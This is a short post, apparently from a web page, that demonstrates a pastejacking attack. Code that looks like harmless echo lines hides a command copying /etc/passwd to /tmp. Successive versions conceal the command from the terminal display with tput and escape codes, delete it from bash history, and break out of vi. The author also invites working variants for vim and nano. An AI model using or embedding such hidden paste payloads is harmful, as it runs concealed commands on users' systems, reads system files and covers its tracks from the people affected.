Harmless Code:
echo test echo foobar
Still looks harmless, but paste it to the terminal and you'll see…
echo test
cp /etc/passwd /tmp/
echo foobar
This time you won't even see it in your terminal…
echo test
tput smcup
cp /etc/passwd /tmp/
tput rmcup && echo -en "\e[1A\e[2K"
echo foobar
And this time not in the bash-history either…
echo test
tput smcup
set +o history
cp /etc/passwd /tmp/
HISTCONTROL=ignorespace
set -o history
history -d $(history | tail -1 | cut -f2 -d\ )
history -d $(history | tail -1 | cut -f2 -d\ )
tput rmcup && echo -en "\e[1A\e[2K"
echo foobar
Copying to vi won't help you…
:q!
tput smcup
cp /etc/passwd /tmp/
tput rmcup && echo -en "\e[1A\e[2K"
echo test
echo foobar
This work only for vi, a beer for the first one how send's me code working with vim or nano. ;)